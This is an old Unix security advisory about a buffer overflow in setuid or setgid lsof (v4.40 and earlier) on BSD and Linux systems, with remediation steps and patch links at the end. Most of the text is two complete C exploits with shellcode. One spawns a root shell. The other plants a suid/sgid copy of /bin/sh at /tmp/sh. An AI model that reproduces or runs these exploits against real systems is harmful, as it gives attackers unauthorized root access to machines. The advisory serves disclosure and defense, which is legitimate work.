COMMAND

    lsof

SYSTEMS AFFECTED

    OpenBSD 2.4, FreeBSD, SuSe Linux, Debian 2.0, Redhat 5.2

PROBLEM

    Following is based on HERT advisory.  Lsof lists information about
    files opened by  processes for most  UNIX dialects.   When lsof is
    setuid-root or setgid kmem, it is vulnerable to a buffer  overflow
    that will lead to direct  root compromise or root compromise  thru
    live  kernel  patching.   The  paradox  is  that  lsof  is a great
    security tool for administrators and  it is encouraged its use  as
    long as it is NOT setuid-root or setgid.  Affected are lsof  v4.40
    and prior.

    Anyway the /dev/kmem warning  is over-stated.  Most  systems don't
    give the group that can read /dev/kmem write permission.  However,
    some  systems  at  times  have  used  the same group ownership for
    /dev/kmem  and  important  system  directories,  AND  made   those
    directories and some of their files group writeable.  In that case
    a  stack  attacked  lsof  might  be  able  to do file or directory
    damage.   There  are  three  lsof  installations  that  could   be
    setuid(root):   Pyramid  DC/OSx   lsof,  /proc-based  Linux   lsof
    (generally Linux  kernels 2.1.72  and above),  and Pyramid Reliant
    UNIX  lsof.   Lsof  drops  its  set[gu]id  permissions  as soon as
    possible.  Exploit follows:

    /*
     *
     *  Xploit for lsof 4.0.4 by Zhodiac <zhodiac@usa.net>
     *  Based on Aleph's article in phrack49
     *
     */

    #include <stdlib.h>

    #define DEFAULT_OFFSET                   0
    #define DEFAULT_BUFFER_SIZE             32
    #define DEFAULT_EGG_SIZE               2048
    #define NOP                            0x90

    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    unsigned long get_esp(void) {
       __asm__("movl %esp,%eax");
    }

    void main(int argc, char *argv[]) {
      char *buff, *ptr, *egg;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i, eggsize=DEFAULT_EGG_SIZE;
      char comando[512];

      if (argc > 1) bsize   = atoi(argv[1]);
      if (argc > 2) offset  = atoi(argv[2]);
      if (argc > 3) eggsize = atoi(argv[3]);

      printf("\nXploit for lsof 4.04 by zhodiac <zhodiac@usa.net>\n\n");

      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
      if (!(egg = malloc(eggsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }

      addr = get_esp() - offset;
      printf("Using address: 0x%x\n", addr);

      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      ptr = egg;
      for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
        *(ptr++) = NOP;

      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';
      egg[eggsize - 1] = '\0';

      memcpy(egg,"EGG=",4);
      putenv(egg);
      snprintf(comando,511,"lsof -u %s",buff);
      system(comando);
    }

    Another exploit (notice it will create a suid/sgid bash at /tmp/sh
    owned by the lsof's user/group. Please, read the expl comments for
    further information):

    /*
     * Sekure SDI (Brazilian Information Security Team)
     * lsof local exploit for linux
     * by c0nd0r <condor@sekure.org>
     *
     * Security problem found by HERT. (www.hert.org)
     *
     * -> This little tool will bring you a suid or sgid shell owned by lsof
     *    user (root|kmem usually) at /tmp directory (/tmp/sh).
     *
     * -----------------------------------------------------------------------
     * Code explanation: We've used a unsual technique here.
     * The buffer allocated was too small for the standard expl, so we did a
     * little trick, by overflowing with 'A' till reaching the ret address and
     * then we've filled with NOP and the shellcode just after the modified
     * ret address. So we have a different exploit architeture:
     * [garbage][eip modified][lotsa NOP's][shellcode]
     * That's why we need a bigger offset.
     * -----------------------------------------------------------------------
     *
     * usage ( needa have a little brain):
     *  ./SDI-lsof <offset> (between 373-505)
     *
     * 4 phun - http://www.sekure.org
     * Thanks to jamez, dumped, bishop, bahamas, slide, falcon, vader
     * and guys at #uground (irc.brasnet.org network)
     *
     */


    /* change the lsof path if it's needed */
    #define PATH "/usr/bin/lsof"


    char shellcode[] =
            "\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
            "\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
            "\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
            "\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
            "\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c cp /bin/sh /tmp/sh; chmod 6755 /tmp/sh";


    unsigned long getsp ( void) {
      __asm__("mov %esp,%eax");
    }

    main ( int argc, char *argv[0]) {
      char b00m[220];
      long addr;
      int x, y, offset=380;

      if (argc > 1) offset = atoi(argv[1]);

      for (x = 0; x < 16; x++)
        b00m[x] = 'A';

      addr = getsp() + offset;
      printf ( "SDI-lsof exploiting at 0x%x\n", addr);

      b00m[x++] = addr & 0x000000ff;
      b00m[x++] = (addr & 0x0000ff00) >> 8;
      b00m[x++] = (addr & 0x00ff0000) >> 16;
      b00m[x++] = (addr & 0xff000000) >> 24;

      for ( ; x < 100; x++)
        b00m[x] = 0x90;

      for (y = 0; y < strlen(shellcode); y++, x++)
        b00m[x] = shellcode[y];

      b00m[strlen(b00m)] = '\0';

      printf ( "\nFind a suid shell at /tmp/sh...\n\n");
      execl ( PATH, PATH, "-u", b00m, (char *)0);
      perror ( "execl") ;

    }

SOLUTION

    Quick fix:

        chmod 0755 lsof

    Patch is available at:

        ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/patches/4.40/arg.c.patch

    Since this is a buffer overflow in enter_uid() which is called out
    of main()  the operating  systems which  have the  RA lower on the
    stack and  require two  returns will  not be  vulnerable to  this.
    That  means  that  this  bug  is  not exploitable on Digital Unix,
    Solaris/sparc and IRIX(?).   It would be exploitable  in principle
    on Solaris/x86 and on any other  O/S with the RA above the  stack.
    Digital Unix,  Solaris and  IRIX to  my knowledge  don't ship with
    lsof,  but  admins  may  have  installed  them  suid  or  sgid  in
    /usr/local/bin...  Debian 2.1 fixed this.  For 2.0 users,  problem
    is fixed in version 4.37-3.  Archives:

        ftp://ftp.debian.org/debian/dists/proposed-updates/lsof_4.37-3.diff.gz
        ftp://ftp.debian.org/debian/dists/proposed-updates/lsof_4.37-3.dsc
        ftp://ftp.debian.org/debian/dists/proposed-updates/lsof_4.37.orig.tar.gz
        ftp://ftp.debian.org/debian/dists/proposed-updates/lsof-2.0.35_4.37-3_i386.deb
        ftp://ftp.debian.org/debian/dists/proposed-updates/lsof-2.0.36_4.37-3_m68k.deb

    As for SuSE, execute the following command:

        /bin/chmod 640 /dev/kmem

    Install the 2.0.36 or a 2.2.x kernel.